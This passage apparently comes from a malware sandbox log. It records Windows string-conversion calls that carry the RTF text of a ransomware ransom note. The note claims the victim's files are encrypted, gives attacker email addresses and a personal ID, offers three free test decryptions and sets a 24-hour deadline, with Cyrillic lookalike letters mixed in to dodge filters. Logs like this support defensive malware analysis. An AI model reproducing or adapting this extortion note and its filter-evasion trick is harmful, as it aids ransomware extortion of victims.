pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l 